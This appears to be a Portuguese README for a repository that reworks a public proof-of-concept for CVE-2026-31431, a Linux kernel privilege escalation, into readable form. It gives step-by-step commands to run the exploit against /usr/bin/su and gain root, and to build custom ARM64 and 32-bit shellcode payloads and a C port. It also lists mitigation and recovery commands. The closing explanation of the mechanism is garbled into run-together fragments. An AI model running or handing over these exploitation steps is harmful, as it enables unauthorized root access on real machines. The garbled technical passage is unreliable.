
Versão de fácil compreensão do CVE-2026-31431
Versão fácil de entender do CVE-2026-31431, uma técnica de escalonamento de privilégios que permite que qualquer pessoa se torne root. O proof-of-concept original está aqui: https://github.com/theori-io/copy-fail-CVE-2026-31431, mas está fortemente comprimido e minificado para que tenha a menor pegada possível. Este repositório tenta decompor esse código de uma forma mais legível, incluindo o que o código faz, como o payload é carregado e como atingir diferentes arquiteturas. Veja o relatório mais técnico aqui: https://xint.io/blog/copy-fail-linux-distributions.
Por padrão, executar python3 copyfail.py executará um shellcode x64 explorando /usr/bin/su. Você pode fornecer seu próprio payload executando python3 copyfail.py [caminho/para/payload.personalizado.elf]. Como exemplo, há um assembly de shellcode ARM64 dentro de payloads/. Então, para testar em dispositivos ARM64, você deve primeiro construir um payload minimizado com nosso script de linker personalizado:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Então você pode executar o exploit principal usando python3 copyfail.py shellcode_aarch64.elf.
Para executar em C:
./c_copyfail que executa o mesmo shellcode padrão acima../c_copyfail [caminho/para/payload.personalizado.elf].Para compilar a versão em C:
cd c_port
make
Especificamente, isso compila o arquivo .S alvo em um binário bruto que é gerado como um array de unsigned char em C:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
ou, para x86 de 32 bits,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
Você pode então copiar o conteúdo deste arquivo para seu código-fonte, ou pode executar diretamente ./c_copyfail.exe [caminho/para/payload.elf] onde payload.elf é gerado a partir de as + ld NÃO gcc + objcopy.
Para evitar exploração, execute:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Se já foi explorado, você pode reiniciar a máquina ou executar:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice(), o kernel coloca as páginas reais do page-cache do arquivo que você usou no splice na área de trabalho de criptografia/usr/bin/su neste caso)/usr/bin/su, o kernel o lê do page-cache e obtém bytes modificados/usr/bin/su para que o UID seja 0 (root)O binário su está corrompido na memória, portanto, a modificação do arquivo não será detectada. Para restaurar a partir do disco, você pode limpar o page-cache.